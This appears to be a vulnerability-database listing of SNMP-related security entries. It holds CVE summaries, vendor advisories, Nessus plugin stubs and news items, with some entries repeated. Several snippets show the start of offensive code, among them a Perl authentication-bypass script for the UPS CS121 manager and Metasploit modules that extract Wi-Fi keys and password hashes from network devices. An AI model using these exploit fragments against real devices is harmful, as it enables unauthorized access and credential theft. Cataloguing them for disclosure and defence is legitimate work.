openSUSE Security Update : hplip (openSUSE-SU-2011:0068-1)

Specially crafted SNMP replies could cause a buffer overflow in hplip's sane backend CVE-2010-4267. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update hplip-3814. The text description of this...

Cisco Wireless LAN Controller Cisco Discovery Protocol Denial of Service Vulnerability

A vulnerability in the Cisco Discovery Protocol subsystem of Cisco Wireless LAN Controllers could allow an unauthenticated, adjacent attacker to cause a denial of service DoS condition. The vulnerability is due to a failure to properly check for certain NULL values present in a Cisco Discovery...

CVE-2014-3291

Cisco Wireless LAN Controller WLC devices allow remote attackers to cause a denial of service NULL pointer dereference and device restart via a zero value in Cisco Discovery Protocol packet data that is not properly handled during SNMP polling, aka Bug ID CSCuo12321...

Null pointer dereference

Cisco Wireless LAN Controller WLC devices allow remote attackers to cause a denial of service NULL pointer dereference and device restart via a zero value in Cisco Discovery Protocol packet data that is not properly handled during SNMP polling, aka Bug ID CSCuo12321...

CVE-2014-3291

Cisco Wireless LAN Controller WLC devices allow remote attackers to cause a denial of service NULL pointer dereference and device restart via a zero value in Cisco Discovery Protocol packet data that is not properly handled during SNMP polling, aka Bug ID CSCuo12321...

SNMP Reflection DDoS Attacks on the Rise

The DDoS techniques have massively increased with the attackers becoming more skillful at working around the network security. A massive 300Gbps DDoS attack launched against Spamhaus website almost broke the Internet a year ago and also earlier this year, hackers have succeeded in reaching new...

CVE-2014-3269

The SNMP module in Cisco IOS XE 3.5E allows remote authenticated users to cause a denial of service device reload by polling frequently, aka Bug ID CSCug65204...

Design/Logic Flaw

The SNMP module in Cisco IOS XE 3.5E allows remote authenticated users to cause a denial of service device reload by polling frequently, aka Bug ID CSCug65204...

CVE-2014-3269

The SNMP module in Cisco IOS XE 3.5E allows remote authenticated users to cause a denial of service device reload by polling frequently, aka Bug ID CSCug65204...

CVE-2014-3269

Cisco IOS XE Software SNMP Denial of Service vulnerability (CVE-2014-3269) affects the SNMP module in IOS XE 3.5E. The issue arises from frequent polling of certain MIBs, which can allow an authenticated, remote attacker to cause a device reload (DoS) by sustained SNMP polling. Multiple connected...

Cisco IOS XE Software SNMP Denial of Service Vulnerability

A vulnerability in the SNMP module of Cisco IOS XE Software could allow an authenticated, remote attacker to cause a reload of the affected device. The vulnerability is due to frequent polling of certain MIBs on an affected device. An attacker could exploit this vulnerability by sending continuou...

Multiple Vendor SNMP public Community String Information Disclosure

Nessus was able to enumerate sensitive information on the remote device by sending SNMP requests using 'public' as the SNMP community string. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid74091; scriptversion"$Revision: 1.2 $"; scriptcvsdate"$Date: 2015/09/24 23:21:...

UPS Web/SNMP-Manager CS121 Login Bypass

!/usr/bin/perl -w use IO::Socket; use constant MAXBYTES = scalar 1024; $socket = IO::Socket::INET-new PeerPort = 4000, PeerAddr = $ARGV0, Type = SOCKDGRAM, Proto = 'udp'; $socket-send""; $socket-recv$inline, MAXBYTES; print "UPS: $inline \n"; $socket-send"show syspar"; $socket-recv$inline,...

SNMP Public Community String Zero Day in Routers Disclosed

Researchers have discovered previously unreported problems in SNMP on embedded devices where devices such as secondary market home routers and a popular enterprise-grade load balancer are leaking authentication details in plain text. The data could be extracted by gaining access to the read-only...

Netopia 3347 Cable Modem Wifi Enumeration

This module extracts WEP keys and WPA preshared keys from certain Netopia cable modems. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Netopia 3347 Cable Modem Wifi Enumeration', 'Description'...

Ubee DDW3611b Cable Modem Wifi Enumeration

This module will extract WEP keys and WPA preshared keys from certain Ubee cable modems. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Ubee DDW3611b Cable Modem Wifi Enumeration', 'Descriptio...

Brocade Password Hash Enumeration

This module extracts password hashes from certain Brocade load balancer devices. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Brocade Password Hash Enumeration', 'Description' = %q This modu...

UPS Web/SNMP-Manager CS121 - Authentication Bypass

source: https://www.securityfocus.com/bid/67438/info UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTPs, SNMP or Telnet port service. !/usr/bin/perl -w use IO::Socket; use...

UPS WebSNMP-Manager CS121 - Authentication Bypass

UPS WebSNMP-Manager CS121 - Authentication Bypass source: https://www.securityfocus.com/bid/67438/info UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTPs, SNMP or Telnet po...

Important: Red Hat Security Advisory: kernel security and bug fix update

Updated kernel packages that fix two security issues and one bug are now available for Red Hat Enterprise Linux 5.9 Extended Update Support. The Red Hat Security Response Team has rated this update as having Important security impact. Common Vulnerability Scoring System CVSS base scores, which gi...